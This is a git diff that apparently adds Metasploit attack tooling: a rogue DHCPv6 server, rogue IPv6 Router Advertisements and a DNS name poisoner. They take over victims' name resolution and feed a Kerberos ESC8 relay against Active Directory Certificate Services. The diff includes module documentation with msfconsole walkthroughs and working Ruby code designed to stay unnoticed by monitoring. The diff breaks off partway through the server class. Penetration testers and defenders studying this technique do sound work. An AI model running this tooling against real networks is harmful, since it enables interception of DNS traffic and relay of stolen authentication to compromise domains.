diff --git a/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md new file mode 100644 index 0000000000000..2cebd96a832d7 --- /dev/null +++ b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +This module runs a rogue DHCPv6 server that hands the attacker to IPv6 clients +as their DNS server (the classic mitm6 primitive), together with a paired DNS +server that poisons names under a target domain to point at the attacker while +transparently forwarding every other lookup so the victim stays functional. + +Windows prefers IPv6 over IPv4 and, by default, sends periodic DHCPv6 solicits. +By answering those solicits and advertising the attacker as the client's DNS +server, the module intercepts the victim's name resolution even on an IPv4-only +network. Once the victim resolves a target service through the attacker it can +be coerced into authenticating to the attacker. + +Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`, +this is the native coercion half of the Kerberos relay via DNS technique +(CVE-2026-20929), removing the dependency on external tooling such as mitm6. Set +`RELAY_CNAME` to steer the victim onto a name whose SPN the relay module will +present to the CA. + +This module requires root/administrator privileges to bind the DHCPv6 port +(UDP/547) and join the DHCPv6 multicast group, and Layer 2 adjacency to the +victim. + +## Verification Steps + +1. Start `msfconsole` as root +1. Do: `use auxiliary/spoof/dhcp/dhcpv6_dns_takeover` +1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept +1. Set `SPOOF_IP6` to the attacker's IPv6 address +1. Do: `run` +1. Observe DHCPv6 solicits being answered and in-scope DNS queries being poisoned + +## Options + +### TARGET_DOMAIN + +The DNS domain to intercept. Names at or under this domain are poisoned; every +other lookup is transparently forwarded. Required. + +### TARGET_HOSTS + +An optional space or semicolon separated list of specific FQDNs to poison. When +set, only these exact names are poisoned and all other names (including other +names under `TARGET_DOMAIN`) are forwarded. + +### SPOOF_IP6 + +The attacker's IPv6 address. It is handed to clients as their DNS server and is +returned as the `AAAA` answer for poisoned names. Required. + +### RELAY_CNAME + +If set, poisoned names are answered with a `CNAME` to this name instead of a +direct address. This is the DNS-CNAME trick used for Kerberos relay: the victim +follows the CNAME to a name whose SPN the relay module presents to the target, +while the Kerberos ticket is still issued for the original service. + +### LEASE_IP6 + +An optional IPv6 address to lease to clients that make a stateful (IA_NA) +request. Not required for DNS takeover. + +### DHCPV6_INTERFACE + +The network interface to bind the DHCPv6 server and join the multicast group on. +Defaults to the primary interface. + +## Scenarios + +### mitm6-style DNS takeover feeding a Kerberos ESC8 relay + +Terminal 1 - start the coercion: + +``` +msf > use auxiliary/spoof/dhcp/dhcpv6_dns_takeover +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run +[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com +[*] DHCPv6 server started, advertising dead:beef::5 as the DNS server +[*] DHCPv6 SOLICIT from fe80::... answered with DNS dead:beef::5 +[+] Poisoned ca.ad.example.com (AAAA) for fe80::... -> CNAME attacker.ad.example.com +``` + +Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is +relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`). + +## Notes + +* Requires root/administrator and Layer 2 adjacency; DHCPv6 messages are not + routable. +* This is the DHCPv6 coercion primitive. `auxiliary/spoof/ipv6/ipv6_ra_dns_takeover` + is the Router Advertisement (RDNSS) equivalent; use whichever the target + network responds to. +* Out-of-scope lookups are forwarded unchanged, so the victim keeps working and + monitoring is less likely to notice broken name resolution. diff --git a/documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md b/documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md new file mode 100644 index 0000000000000..da8576263dad7 --- /dev/null +++ b/documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +This module runs a rogue IPv6 router that advertises the attacker as the +recursive DNS server (RDNSS, RFC 8106) inside ICMPv6 Router Advertisements, and +a paired DNS server that poisons names under a target domain to point at the +attacker while transparently forwarding every other lookup so the victim stays +functional. + +It is the Router Advertisement equivalent of the mitm6 DHCPv6 DNS takeover +(`auxiliary/spoof/dhcp/dhcpv6_dns_takeover`): instead of answering DHCPv6 +solicits, it multicasts Router Advertisements carrying an RDNSS option, which +modern Windows and other RFC 8106 clients adopt as their IPv6 resolver. It also +listens for Router Solicitations and replies with an immediate unicast Router +Advertisement, so a client is coerced the moment it boots or refreshes rather +than waiting for the next unsolicited advertisement. + +By default the advertised router lifetime is 0, so the attacker does not become +the client's default gateway; only DNS is taken over, which keeps routing +untouched and stays closer to mitm6's behaviour. Set `BECOME_ROUTER` to also act +as a router. + +Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`, +this is a native coercion half of the Kerberos relay via DNS technique +(CVE-2026-20929). This module requires root/administrator privileges to inject +raw ICMPv6 packets and Layer 2 adjacency to the victim. + +## Verification Steps + +1. Start `msfconsole` as root +1. Do: `use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover` +1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept +1. Set `SPOOF_IP6` to the attacker's IPv6 address +1. Set `INTERFACE` to the interface on the victim's segment +1. Do: `run` +1. Observe Router Advertisements being sent and in-scope DNS queries being poisoned + +## Options + +### TARGET_DOMAIN + +The DNS domain to intercept. Names at or under this domain are poisoned; every +other lookup is forwarded. Required. + +### TARGET_HOSTS + +An optional space or semicolon separated list of specific FQDNs to poison. When +set, only these exact names are poisoned. + +### SPOOF_IP6 + +The attacker's IPv6 address, advertised as the recursive DNS server (RDNSS) and +returned as the `AAAA` answer for poisoned names. Required. + +### RELAY_CNAME + +If set, poisoned names are answered with a `CNAME` to this name instead of a +direct address (the DNS-CNAME Kerberos relay trick), steering the victim onto a +name whose SPN the relay module presents to the target. + +### RA_INTERVAL + +Seconds between unsolicited Router Advertisements. Defaults to 30. + +### RESPOND_TO_SOLICITS + +Also reply to Router Solicitations with an immediate unicast Router +Advertisement, so a client is coerced as soon as it boots or refreshes rather +than waiting for the next interval. Enabled by default. + +### ADVERTISE_SEARCH_DOMAIN + +Advertise `TARGET_DOMAIN` as a DNS search list (DNSSL) so the client appends it +when resolving short names, helping steer it onto poisoned FQDNs. Enabled by +default. + +### BECOME_ROUTER + +Also advertise as the default router (router lifetime > 0). Disabled by default +so only DNS is taken over and routing is left untouched. + +### INTERFACE / SMAC / SHOST + +The interface to send Router Advertisements on, and optional overrides for the +source MAC and link-local source address. + +## Scenarios + +### RDNSS DNS takeover feeding a Kerberos ESC8 relay + +Terminal 1 - start the coercion: + +``` +msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set INTERFACE eth0 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run +[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com +[*] Advertising dead:beef::5 as the IPv6 DNS server via Router Advertisements every 30s +[*] Responding to Router Solicitations with an immediate unicast RA +[+] Answered Router Solicitation from aa:bb:cc:dd:ee:ff (fe80::5) -> RDNSS dead:beef::5 +[+] Poisoned ca.ad.example.com (AAAA) for fe80::5 -> CNAME attacker.ad.example.com +``` + +Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is +relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`). + +## Notes + +* Requires root/administrator and Layer 2 adjacency; Router Advertisements are + not routable. +* This is the Router Advertisement (RDNSS) coercion primitive. + `auxiliary/spoof/dhcp/dhcpv6_dns_takeover` is the DHCPv6 equivalent; use + whichever the target network responds to. +* RDNSS in Router Advertisements is honoured by modern Windows (RFC 8106); older + clients may only accept DNS via DHCPv6, in which case use the DHCPv6 module. diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb new file mode 100644 index 0000000000000..f837e687c0110 --- /dev/null +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -0,0 +1,119 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This mixin adds selective DNS name poisoning on top of Exploit::Remote::DNS::Server. +# +# A module that also includes DNS::Server can mix this in to answer lookups for +# names under a target scope with the attacker's address (or a CNAME), while +# transparently forwarding every out-of-scope query so the victim stays +# functional. It is the shared coercion behaviour behind the IPv6 DNS-takeover +# modules (rogue DHCPv6 and rogue Router Advertisement), paired with a Kerberos +# relay target such as ESC8 AD CS web enrollment (CVE-2026-20929). +# +### +module Exploit::Remote::DNS +module NamePoisoner + + def initialize(info = {}) + super + + register_options( + [ + # The victim is steered to query the attacker's IPv6 address (SPOOF_IP6), + # so the paired DNS server has to listen on IPv6. SocketServer defaults + # SRVHOST to 0.0.0.0, which binds IPv4 only and silently drops every IPv6 + # query; default to :: (all IPv6 addresses) instead. This also keeps the + # A-record branch in poison_answers_for from handing out 0.0.0.0. + OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]), + OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), + OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), + OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), + OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]) + ], Exploit::Remote::DNS::NamePoisoner + ) + end + + # Poison lookups that fall under the target scope; forward everything else so + # the victim keeps working (and so we do not tip off monitoring by breaking + # unrelated name resolution). + def on_dispatch_request(cli, data) + return if data.strip.empty? + + req = Rex::Proto::DNS::Packet.encode_drb(data) + peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport) + + poisoned = false + req.question.each do |question| + answers = poison_answers_for(question) + next if answers.empty? + + answers.each { |rr| req.add_answer(rr) } + poisoned = true + print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") + end + + unless poisoned + # Not in scope: fall back to the default cache/forward behaviour. + return service.default_dispatch_request(cli, data) + end + + req.header.qr = true + req.header.ra = true + service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode) + end + + # Human-readable description of what poisoned names resolve to. + def poison_description + datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] + end + + # Fail the module unless +address+ is a valid IPv6 address. + def validate_ipv6!(address, name) + return if Rex::Socket.is_ipv6?(address.to_s) + + fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address") + end + + private + + def poison_answers_for(question) + name = question.qname.to_s.chomp('.').downcase + return [] unless in_scope?(name) + + qtype = question.qtype.to_s + if datastore['RELAY_CNAME'].present? + # Steer the victim onto a name whose SPN the attacker will relay for. + return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] + end + + case qtype + when 'AAAA' + [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] + when 'A' + # Only answer A records if an IPv4 spoof address is meaningful; otherwise + # returning nothing lets the client prefer the AAAA answer we control. + Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] + else + [] + end + end + + def in_scope?(name) + if datastore['TARGET_HOSTS'].present? + target_hosts.include?(name) + else + domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') + name == domain || name.end_with?(".#{domain}") + end + end + + def target_hosts + @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) + end + +end +end +end diff --git a/lib/msf/core/exploit/remote/ipv6.rb b/lib/msf/core/exploit/remote/ipv6.rb index d4d58444f6cc9..1de2e938cb972 100644 --- a/lib/msf/core/exploit/remote/ipv6.rb +++ b/lib/msf/core/exploit/remote/ipv6.rb @@ -1,5 +1,21 @@ # -*- coding: binary -*- +require 'packetfu' + +# packetfu 2.0.0 (the latest release) ships a StructFu#typecast that recovers the +# setter it was called from by matching the caller backtrace against the MRI <= 3.3 +# format (`method='). Ruby 3.4 reformatted backtraces to 'Klass#method=', so the old +# pattern returns nil and every PacketFu field assignment - including the ones inside +# PacketFu::IPv6Packet.new itself - raises "undefined method '[]' for nil". Grab the +# trailing setter name in a way that works on both formats until packetfu is fixed +# upstream. Safe on 3.2/3.3 as well; the captured name is identical there. +module StructFu + def typecast(i) + name = caller(1..1).first[/([A-Za-z0-9_]+)=['`]/, 1] + self[name.to_sym].read i + end +end + module Msf ### @@ -352,6 +368,119 @@ def ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data end + # Build a Recursive DNS Server (RDNSS) option (https://www.rfc-editor.org/rfc/rfc8106#section-5.1). + # This is the option that lets a rogue Router Advertisement hand the attacker to + # IPv6 clients as their recursive resolver (the RA-based equivalent of the mitm6 + # DHCPv6 DNS takeover). +dns_servers+ is one or more IPv6 addresses. + def ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) + servers = Array(dns_servers) + raise ArgumentError, 'at least one DNS server is required' if servers.empty? + + addresses = servers.map do |addr| + ip = IPAddr.new(addr) + raise ArgumentError, "invalid IPv6 address: #{addr}" unless ip.ipv6? + + ip.hton + end.join + # Length is in units of 8 octets: 1 unit for the 8-byte header plus 2 units per address. + length_units = 1 + (2 * servers.length) + + [25, length_units, 0].pack('CCn') + [lifetime].pack('N') + addresses + end + + # Build a DNS Search List (DNSSL) option carrying real search domains + # (https://www.rfc-editor.org/rfc/rfc8106#section-5.2). Unlike + # ipv6_build_dnssl_option, this does not wrap a command payload; it simply + # advertises the given domains so the client appends them when resolving short + # names, which helps steer it onto poisoned FQDNs. + def ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) + data = Array(domains).map { |domain| ipv6_encode_domain(domain) }.join + + # Pad to an 8-byte boundary (the option header is 8 bytes). + pad_len = -data.length % 8 + data << ("\x00" * pad_len) + + length_units = (8 + data.length) / 8 + + [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data + end + + # Build a complete Router Advertisement that advertises the attacker as the + # recursive DNS server via an RDNSS option (and optional DNSSL search list). + # + # By default router_lifetime is 0, so the client does not adopt us as its + # default gateway (a DNS-only takeover that keeps routing untouched and stays + # closer to mitm6's stealth). Raise router_lifetime to also become a router. + # + # dst_mac/dst_addr default to the all-nodes multicast group for an unsolicited + # RA; pass a specific client MAC and link-local address to unicast a solicited + # RA in response to a Router Solicitation. + def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, + dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') + type = 134 # Router Advertisement + code = 0 + checksum = 0 + cur_hop_limit = 64 + flags = 0x08 # Router Preference = Medium; M/O DHCPv6 flags left clear (RDNSS carries the DNS info) + reachable_time = 0 + retrans_timer = 0 + + ra_payload = [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN') + ra_payload << ipv6_build_slla_option(smac) + ra_payload << ipv6_build_rdnss_option(dns_servers, dns_lifetime) + ra_payload << ipv6_build_dnssl_search_option(domains, dns_lifetime) unless Array(domains).empty? + + p = PacketFu::IPv6Packet.new + p.eth_saddr = smac + p.eth_daddr = dst_mac # Default 33:33:00:00:00:01 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) + p.ipv6_saddr = shost # Must be a link-local address (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) + p.ipv6_daddr = dst_addr # Default ff02::1 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1) + p.ipv6_hop = 255 + p.ipv6_next = 0x3a # ICMPv6 + + p.payload = ra_payload + p.ipv6_len = ra_payload.length + + ipv6_checksum!(p) + + p + end + + # True if the given parsed PacketFu packet is an ICMPv6 Router Solicitation + # (type 133, https://www.rfc-editor.org/rfc/rfc4861#section-4.1). + def ipv6_router_solicitation?(pkt) + return false unless pkt.respond_to?(:is_ipv6?) && pkt.is_ipv6? + return false unless pkt.ipv6_next == 0x3a # ICMPv6 + + # PacketFu parses next-header 58 into an ICMPv6Packet, exposing the message + # type as icmpv6_type; fall back to the first payload byte otherwise. + if pkt.respond_to?(:icmpv6_type) + pkt.icmpv6_type == 133 + else + pkt.payload.to_s[0, 1] == "\x85" # 0x85 = 133 + end + end + + # Decide where to send a solicited Router Advertisement given the source + # link-layer and IPv6 address of a Router Solicitation. Per RFC 4861 section + # 6.2.6, if the solicitation's source is the unspecified address the response + # is multicast to all-nodes; otherwise it is unicast back to the solicitor. + # Returns [dst_mac, dst_addr]. + def ipv6_solicited_ra_target(src_mac, src_addr) + return ['33:33:00:00:00:01', 'ff02::1'] if ipv6_unspecified_address?(src_addr) + + [src_mac, src_addr] + end + + # True if +addr+ is missing or the IPv6 unspecified address (::). + def ipv6_unspecified_address?(addr) + return true if addr.to_s.empty? + + IPAddr.new(addr.to_s).to_i.zero? + rescue IPAddr::Error + true + end + # Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861) def ipv6_build_slla_option(mac) mac_bytes = mac.split(':').map { |x| x.to_i(16) }.pack('C6') diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 42315748312aa..5f181ce05f961 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -293,6 +293,7 @@ def custom_inflections 'rakp2' => 'RAKP2', 'pjl' => 'PJL', 'dhcp' => 'DHCP', + 'dhcpv6' => 'DHCPv6', 'addp' => 'ADDP', 'rfb' => 'RFB', 'io' => 'IO', diff --git a/lib/rex/proto/dhcpv6/constants.rb b/lib/rex/proto/dhcpv6/constants.rb new file mode 100644 index 0000000000000..6c98fde29fa0d --- /dev/null +++ b/lib/rex/proto/dhcpv6/constants.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Proto + # Constants for DHCPv6 (RFC 8415), plus the DNS configuration options from + # RFC 3646. Only the subset needed to run a rogue stateful/stateless DHCPv6 + # server (to become a client's DNS server) is defined here. + module DHCPv6::Constants + # DHCPv6 message types (RFC 8415 section 7.3) + module MessageType + SOLICIT = 1 + ADVERTISE = 2 + REQUEST = 3 + CONFIRM = 4 + RENEW = 5 + REBIND = 6 + REPLY = 7 + RELEASE = 8 + DECLINE = 9 + RECONFIGURE = 10 + INFORMATION_REQUEST = 11 + RELAY_FORW = 12 + RELAY_REPL = 13 + end + + # DHCPv6 option codes (RFC 8415 section 21, RFC 3646 for DNS options) + module OptionCode + CLIENTID = 1 + SERVERID = 2 + IA_NA = 3 + IA_TA = 4 + IAADDR = 5 + ORO = 6 # Option Request Option + PREFERENCE = 7 + ELAPSED_TIME = 8 + STATUS_CODE = 13 + RAPID_COMMIT = 14 + DNS_SERVERS = 23 # RFC 3646: DNS Recursive Name Server option + DOMAIN_LIST = 24 # RFC 3646: Domain Search List option + end + + # DUID types (RFC 8415 section 11) + module DuidType + LLT = 1 # Link-layer address plus time + EN = 2 # Vendor-assigned unique ID based on Enterprise Number + LL = 3 # Link-layer address + end + + # Status codes (RFC 8415 section 21.13) + module StatusCode + SUCCESS = 0 + UNSPEC_FAIL = 1 + NO_ADDRS_AVAIL = 2 + NO_BINDING = 3 + NOT_ON_LINK = 4 + USE_MULTICAST = 5 + end + + # Hardware type for DUID-LL/LLT (IANA; 1 = Ethernet) + HARDWARE_TYPE_ETHERNET = 1 + + # The well-known multicast group all DHCPv6 servers and relay agents listen + # on, and the server/client UDP ports (RFC 8415 section 7.2). + ALL_DHCP_RELAY_AGENTS_AND_SERVERS = 'ff02::1:2' + SERVER_PORT = 547 + CLIENT_PORT = 546 + end + end +end diff --git a/lib/rex/proto/dhcpv6/packet.rb b/lib/rex/proto/dhcpv6/packet.rb new file mode 100644 index 0000000000000..9033453a975f6 --- /dev/null +++ b/lib/rex/proto/dhcpv6/packet.rb @@ -0,0 +1,192 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A DHCPv6 client/server message (RFC 8415 section 8): a one-byte message + # type, a three-byte transaction id, and a list of TLV options. This parses + # and builds the wire format and provides helpers for assembling the rogue + # server responses used to make a client adopt the attacker as its DNS server. + # + # Relay messages (RELAY-FORW / RELAY-REPL) have a different layout and are not + # modelled here; only direct client/server messages are handled. + class Packet < BinData::Record + # A single DHCPv6 option in TLV form (RFC 8415 section 21.1). Nested so it + # registers with BinData under the unique name :dhcpv6_option (a bare + # :option would collide with other protocols' option records). + class Dhcpv6Option < BinData::Record + endian :big + + uint16 :code + uint16 :len, value: -> { data.num_bytes } + string :data, read_length: :len + end + + endian :big + + uint8 :msg_type + string :transaction_id, length: 3 + array :options, type: :dhcpv6_option, read_until: :eof + + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option, nil] the first option + # with the given code, if present. + def find_option(code) + options.find { |opt| opt.code == code } + end + + # @return [Boolean] whether the client asked for a Rapid Commit (a two-message + # Solicit/Reply exchange rather than the four-message default). + def rapid_commit? + !find_option(Constants::OptionCode::RAPID_COMMIT).nil? + end + + class << self + # Build a DHCPv6 option. + # + # @param code [Integer] the option code + # @param data [String] the option payload (already encoded) + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def option(code, data) + Dhcpv6Option.new(code: code, data: data.b) + end + + # Build a DUID-LL (link-layer address DUID, RFC 8415 section 11.4). + # + # @param mac [String] the link-layer address, as "aa:bb:cc:dd:ee:ff" or 6 raw bytes + # @return [String] the encoded DUID + def duid_ll(mac) + [Constants::DuidType::LL, Constants::HARDWARE_TYPE_ETHERNET].pack('nn') + mac_to_bytes(mac) + end + + # Build a DNS Recursive Name Server option (RFC 3646): the list of IPv6 + # addresses the client should use as DNS servers. + # + # @param addresses [Array] IPv6 addresses in presentation form + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def dns_servers_option(addresses) + option(Constants::OptionCode::DNS_SERVERS, addresses.map { |a| Rex::Socket.addr_aton(a) }.join) + end + + # Build a Domain Search List option (RFC 3646), DNS-name encoded. + # + # @param domains [Array] search domains + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def domain_list_option(domains) + option(Constants::OptionCode::DOMAIN_LIST, domains.map { |d| encode_dns_name(d) }.join) + end + + # Build an IA_NA (Identity Association for Non-temporary Addresses) option + # carrying a single leased address, echoing the client's IAID. + # + # @param iaid [Integer] the client's IAID (from its IA_NA request) + # @param address [String] the IPv6 address to lease, in presentation form + # @param preferred_lifetime [Integer] seconds + # @param valid_lifetime [Integer] seconds + # @param t1 [Integer] renew timer, seconds + # @param t2 [Integer] rebind timer, seconds + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def ia_na_option(iaid:, address:, preferred_lifetime:, valid_lifetime:, t1:, t2:) + iaaddr = option( + Constants::OptionCode::IAADDR, + Rex::Socket.addr_aton(address) + [preferred_lifetime, valid_lifetime].pack('NN') + ) + option(Constants::OptionCode::IA_NA, [iaid, t1, t2].pack('NNN') + iaaddr.to_binary_s) + end + + # Read the IAID out of a request's IA_NA option, if any. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] + def request_iaid(request) + ia_na = request.find_option(Constants::OptionCode::IA_NA) + return nil if ia_na.nil? + + ia_na.data.to_binary_s[0, 4].unpack1('N') + end + + # The message type to answer a given request with (RFC 8415 section 18.3): + # a Solicit is answered with an Advertise, unless Rapid Commit is requested, + # in which case the exchange collapses to a Reply. Everything else we handle + # (Request/Renew/Rebind/Confirm/Information-Request) is answered with a Reply. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] the response message type, or nil if we do not answer it + def response_type_for(request) + case request.msg_type + when Constants::MessageType::SOLICIT + request.rapid_commit? ? Constants::MessageType::REPLY : Constants::MessageType::ADVERTISE + when Constants::MessageType::REQUEST, + Constants::MessageType::RENEW, + Constants::MessageType::REBIND, + Constants::MessageType::CONFIRM, + Constants::MessageType::INFORMATION_REQUEST + Constants::MessageType::REPLY + end + end + + # Assemble a rogue server response that advertises the attacker as the + # client's DNS server. Echoes the client's transaction id and Client ID, + # and (for stateful requests carrying an IA_NA) leases the given address. + # + # @param request [Rex::Proto::DHCPv6::Packet] the parsed client message + # @param server_duid [String] the encoded server DUID (see {.duid_ll}) + # @param dns_servers [Array] DNS server IPv6 addresses to hand out + # @param assigned_address [String, nil] address to lease, if answering statefully + # @param preferred_lifetime [Integer] lease preferred lifetime, seconds + # @param valid_lifetime [Integer] lease valid lifetime, seconds + # @param domain_list [Array, nil] optional DNS search domains + # @return [Rex::Proto::DHCPv6::Packet, nil] the response, or nil if the + # request type is not one we answer + def build_response(request:, server_duid:, dns_servers:, assigned_address: nil, + preferred_lifetime: 300, valid_lifetime: 600, domain_list: nil) + response_type = response_type_for(request) + return nil if response_type.nil? + + opts = [ + option(Constants::OptionCode::SERVERID, server_duid) + ] + + client_id = request.find_option(Constants::OptionCode::CLIENTID) + opts << option(Constants::OptionCode::CLIENTID, client_id.data.to_binary_s) unless client_id.nil? + + iaid = request_iaid(request) + if !iaid.nil? && !assigned_address.nil? + opts << ia_na_option( + iaid: iaid, + address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + t1: preferred_lifetime / 2, + t2: (preferred_lifetime * 4) / 5 + ) + end + + opts << dns_servers_option(dns_servers) + opts << domain_list_option(domain_list) unless domain_list.nil? || domain_list.empty? + opts << option(Constants::OptionCode::RAPID_COMMIT, '') if request.rapid_commit? + + new( + msg_type: response_type, + transaction_id: request.transaction_id.to_binary_s, + options: opts.map { |o| { code: o.code, data: o.data.to_binary_s } } + ) + end + + private + + def mac_to_bytes(mac) + return mac.b if mac.b.bytesize == 6 + + [mac.delete(':-')].pack('H*') + end + + # Encode a domain name as a sequence of length-prefixed labels terminated + # by a zero-length root label (RFC 1035 section 3.1). + def encode_dns_name(domain) + domain.split('.').map { |label| [label.bytesize].pack('C') + label }.join + "\x00" + end + end + end + end + end +end diff --git a/lib/rex/proto/dhcpv6/server.rb b/lib/rex/proto/dhcpv6/server.rb new file mode 100644 index 0000000000000..3580929ca3842 --- /dev/null +++ b/lib/rex/proto/dhcpv6/server.rb @@ -0,0 +1,168 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A minimal rogue DHCPv6 server (RFC 8415). It answers Solicit / Request / + # Renew / Rebind / Confirm / Information-Request messages, handing the client + # the attacker as its DNS server (and, for stateful requests, a leased + # address). This is the native coercion primitive behind the Kerberos relay + # via DNS (CVE-2026-20929): once the attacker is the client's DNS server, a + # paired DNS server poisons the target name to coerce authentication. + # + # Request parsing and response construction live in {#handle_request}, kept + # separate from the socket I/O so the protocol behaviour is unit-testable. + class Server + include Rex::Socket + + # @param dns_servers [Array] DNS server IPv6 address(es) to hand out + # (the attacker); defaults to the server's own link address at start time. + # @param assigned_address [String, nil] address to lease for stateful (IA_NA) requests + # @param domain_list [Array, nil] optional DNS search domains + # @param server_mac [String, nil] link-layer address for the server DUID (random if nil) + # @param listen_host [String] local bind address (all IPv6 by default) + # @param interface [String, nil] interface name to bind / join multicast on + # @param context [Hash] Rex socket context + # + # Lease lifetimes default to 300s/600s and can be overridden via the + # +preferred_lifetime+ / +valid_lifetime+ accessors. + def initialize(dns_servers: [], assigned_address: nil, domain_list: nil, server_mac: nil, + listen_host: '::', interface: nil, context: {}) + self.dns_servers = dns_servers + self.assigned_address = assigned_address + self.domain_list = domain_list + self.server_duid = Packet.duid_ll(server_mac || random_mac) + self.listen_host = listen_host + self.interface = interface + self.preferred_lifetime = 300 + self.valid_lifetime = 600 + self.context = context + self.sock = nil + end + + # A block invoked with (message_type, client_host, request_packet) each + # time a request is answered, for logging / reporting. + def on_request(&block) + self.reporter = block + end + + # Start listening and answering DHCPv6 requests. + def start + self.sock = Rex::Socket::Udp.create( + 'LocalHost' => listen_host, + 'LocalPort' => Constants::SERVER_PORT, + 'Context' => context, + 'Ipv6' => true + ) + + if interface && !interface.empty? + begin + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0") + rescue StandardError => e + elog("Failed to bind DHCPv6 server to #{interface}", error: e) + end + end + + join_multicast_group + + self.thread = Rex::ThreadFactory.spawn('DHCPv6ServerMonitor', false) { monitor_socket } + end + + def stop + thread.kill if thread + begin + sock&.close + rescue StandardError => e + elog('Failed to close DHCPv6 server socket', error: e) + end + self.sock = nil + end + + # Parse a raw client message and build the rogue response bytes. + # + # @param buf [String] the received DHCPv6 message + # @return [Array(Integer, String), nil] the response message type and its + # encoded bytes, or nil if the message is not one we answer. + def handle_request(buf) + request = Packet.read(buf) + response = Packet.build_response( + request: request, + server_duid: server_duid, + dns_servers: dns_servers, + assigned_address: assigned_address, + preferred_lifetime: preferred_lifetime, + 